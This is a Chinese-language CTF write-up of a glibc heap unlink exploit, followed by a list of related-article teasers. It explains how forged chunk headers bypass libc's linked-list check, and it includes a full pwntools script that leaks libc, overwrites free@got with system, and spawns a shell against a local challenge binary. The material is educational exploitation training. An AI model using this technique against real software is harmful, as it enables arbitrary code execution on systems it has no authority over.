[CTF]Heap vuln -- unlink
0x00: 起因
一直在堆的漏洞利用中不得要领,之前ZCTF又是三个堆的利用,血崩,chxx表哥给写了一个heap的pwn,学习学习。
0x01:
关于heap的unlink的漏洞利用,出的很早,在低版本的libc中,因为没有校验,导致在unlink的时候可以通过构造堆块dwordshoot,从而任意代码执行。
对于这种漏洞的学习,首先要了解malloc的工作原理及几种堆块的分配、使用方式。推荐文章 Understanding glibc malloc
0x02: 文件的一些信息


0x03:分析
程序是一个菜单式的程序,可以用户自定义分配块的长度和内容,漏洞在于:edit的时候,没做长度校验导致可以溢出,通过构造可以bypass 在libc中unlink的校验,从而getshell。

0x04:在drops看到的姿势
按照文中给出的方式,为了bypass
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P);
这么一个指针的校验,我们找到一个特殊的 指针ptr是指向p的(p指向堆)
那么可以根据p去构造bk和fd两个指针
chunk0 malloc返回的ptr chunk1 malloc返回的ptr
| | | |
+-----------+---------+----+----+----+----+----+------+------+----+----+------+
| | |fake|fake|fake|fake| D | fake | fake | | | |
| | |prev|size| FD | BK | A | prev | size&| | | |
| prev_size |size&Flag|size| | | | T | size | flag | | | |
| | | | | | | A | | | | | |
| | | | | | | | | | | | |
+-----------+---------+----+----+----+----+----+------+------+----+----+------+
|--------new_size--------|
list
l32(0) + l32(0x89) + l32(list-0xc) + l32(list-0x8) +"A"*(128-4*4)
#fake_pre_szie + fake_size + fake_FD + fake_BK + DATA
# 4bytes 4bytes 4bytes 4bytes 128-4*4
#pre_size + size&flag
l32(0x80) + l32(0x88)
free(chunk_1)
分配两个长度合适的块,伪造第一个块,然后通过修改了第二个块的pre_size 和size
然后free(chunk1) 触发unlink
之后再次修改指针p 从而达到leak地址,修改地址的目的
0x05:exp
from pwn import *
context.update(os='linux', arch='i386')
p = remote('127.0.0.1',10001)
chunk_list = 0x8049d60
free_got = 0x8049ce8
flag = 0
def leak(addr):
data = "A" * 0xc + p32(chunk_list-0xc) + p32(addr)
global flag
if flag == 0:
set_chunk(0, data)
flag = 1
else:
set_chunk2(0, data)
res = ""
p.recvuntil('5.Exit\n')
res = print_chunk(1)
print("leaking: %#x ---> %s" % (addr, res[0:4].encode('hex')))
return res[0:4]
def add_chunk(len):
print p.recvuntil('\n')
p.sendline('1')
print p.recvuntil('Input the size of chunk you want to add:')
p.sendline(str(len))
def set_chunk(index,data):
p.recvuntil('5.Exit\n')
p.sendline('2')
p.recvuntil('Set chunk index:')
p.sendline(str(index))
p.recvuntil('Set chunk data:')
p.sendline(data)
def set_chunk2(index, data):
p.sendline('2')
p.recvuntil('Set chunk index:')
p.sendline(str(index))
p.recvuntil('Set chunk data:')
p.sendline(data)
def del_chunk(index):
p.recvuntil('\n')
p.sendline('3')
p.recvuntil('Delete chunk index:')
p.sendline(str(index))
def print_chunk(index):
p.sendline('4')
p.recvuntil('Print chunk index:')
p.sendline(str(index))
res = p.recvuntil('5.Exit\n')
return res
raw_input('add_chunk')
add_chunk(128) #0
add_chunk(128) #1
add_chunk(128) #2
add_chunk(128) #3
set_chunk(3, '/bin/sh')
#fake_chunk
payload = ""
payload += p32(0) + p32(0x89) + p32(chunk_list-0xc) + p32(chunk_list-0x8)
payload += "A"*(0x80-4*4)
#2nd chunk
payload += p32(0x80) + p32(0x88)
set_chunk(0,payload)
#get the pointer
del_chunk(1)
set_chunk(0, 'A' * 12 + p32(0x8049d54) + p32(0x8049d14))
raw_input('leak')
#leak system_addr
pwn_elf = ELF('./heap')
d = DynELF(leak, elf=pwn_elf)
sys_addr = d.lookup('system', 'libc')
print("system addr: %#x" % sys_addr)
raw_input('edit free@got')
data = "A" * 12 + p32(chunk_list-0xc) + p32(free_got)
set_chunk2('0', data)
set_chunk2('1', p32(sys_addr))
del_chunk('3')
p.interactive()
p.close()

0x06:参考文章
1. Understanding glibc malloc
2. 堆溢出的unlink利用方法
最后还要感谢chxx大表哥的pwn和指导=。=
所有文件都在这里了 文件下载
[CTF]Heap vuln -- unlink的更多相关文章
- pwn with glibc heap(堆利用手册)
前言 对一些有趣的堆相关的漏洞的利用做一个记录,如有差错,请见谅. 文中未做说明 均是指 glibc 2.23 相关引用已在文中进行了标注,如有遗漏,请提醒. 简单源码分析 本节只是简 ...
- linux下堆溢出unlink的一个简单例子及利用
最近认真学习了下linux下堆的管理及堆溢出利用,做下笔记:作者作为初学者,如果有什么写的不对的地方而您又碰巧看到,欢迎指正. 本文用到的例子下载链接https://github.com/ctfs/w ...
- 如何在CTF中当搅屎棍
论如何在CTF比赛中搅屎 0×00 前言 不能搅屎的CTF不是好CTF,不能搅屎的题目不是好题目. 我很赞成phithon神的一句话,"比赛就是和他人竞争的过程,通过各种手段阻止对手拿分我觉 ...
- OD: Heap Overflow (XP SP2 - 2003) & DWORD SHOOT via Chunk Resize
微软在堆中也增加了一些安全校验操作,使得原本是不容易的堆溢出变得困难重重: * PEB Random:在 Windows XP SP2 之后,微软不再使用固定的 PEB 基址 0x7FFDF000,而 ...
- CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用
作者:栈长@蚂蚁金服巴斯光年安全实验室 -------- 1. 背景 FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器.转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具 ...
- Unlink——2016 ZCTF note2解析
简介 Unlink是经典的堆漏洞,刚看到这个漏洞不知道如何实现任意代码执行,所以找了一个CTF题,发现还有一些细节的地方没有讲的很清楚,题目在这里.自己也动手写一遍,体验一下 题目描述 首先,我们先分 ...
- jarvis level6_x64堆溢出unlink拾遗
level6 32位的我没有调出来,貌似32位的堆结构和64位不太一样,嘤嘤嘤?,所以做了一下这个64位的,题目地址,level6_x64 首先看一下程序的结构体 struct list //0x18 ...
- Glibc堆块的向前向后合并与unlink原理机制探究
i春秋作家:Bug制造机 原文来自:Glibc堆块的向前向后合并与unlink原理机制探究 玩pwn有一段时间了,最近有点生疏了,调起来都不顺手了,所以读读malloc源码回炉一点一点总结反思下. U ...
- go语言中container容器数据结构heap、list、ring
heap堆的使用: package main import ( "container/heap" "fmt" ) type IntHeap []int //我们 ...
随机推荐
- C语言 --- 初级指针
1.内存的访问:直接访问,间接访问. 直接访问:int a = 0;直接对a赋值.选一个内存地址,让他存20这个数. a += 10; ...
- (0)c++入门——认识指针与数组——指针即是内存中地址。
初识指针 首先需要了解一个概念,计算机的内存(或者说是寄存器)都是有地址的. <c++ primer plus>一书P37中提到这样一个概念:为把信息存储在计算机中,程序必须记录3个基本属 ...
- 浅谈CSRF(Cross-site request forgery)跨站请求伪造
目录 浅谈CSRF(Cross-site request forgery)跨站请求伪造 CSRF是什么 CSRF攻击原理 CSRF攻击防范 浅谈CSRF(Cross-site request forg ...
- python — 进程
目录 1. 进程 1.进程就是一个运行中的程序(是对正在运行程序的一个抽象). 2.程序和进程之间的区别: 程序只是一个文件 进程是这个文件被CPU运行起来了 程序是永久的,进程是暂时的. 3.进程- ...
- linux lkm rootkit常用技巧
简介 搜集一下linux lkm rootkit中常用的一些技巧 1.劫持系统调用 遍历地址空间 根据系统调用中的一些导出函数,比如sys_close的地址来寻找 unsigned long ** g ...
- CW2A与CA2W
字符串的ASCII和UNICODE之间的转换 1)Win32提供了API函数MultiByteToWideChar和WideCharToMultiByte来提供这种功能. 2)ATL还提供了另一套转换 ...
- Linux Too many open files
Linux Too many open files 查看系统资源限制信息: sudo -s -u root -H id sudo -s lsof | awk '{ print $2 " &q ...
- wpf DrawingImage 奇葩问题
使用wpf drawingImage绘图是,会出现很奇怪的坐标问题,这个问题困扰很久 当在DrawingGroup中绘图的时候,坐标始终会从(0,0)开始无论设置多少值,奇怪一比 解决方法:首先在Dr ...
- js之语句(条件语句,循环语句,跳转语句)
一.条件语句 1.if语句 条件语句是通过判断指定表达式的值来决定执行还是跳过某些语句,这些语句是代码是“决策点”有时称之为“分支”. if语句是一种基本的控制语句,它让Javascript程序可以选 ...
- 密码基础知识(2)以RSA为例说明加密、解密、签名、验签
密码基础知识(1)https://www.cnblogs.com/xdyixia/p/11528572.html 一.RSA加密简介 RSA加密是一种非对称加密.是由一对密钥来进行加解密的过程,分别称 ...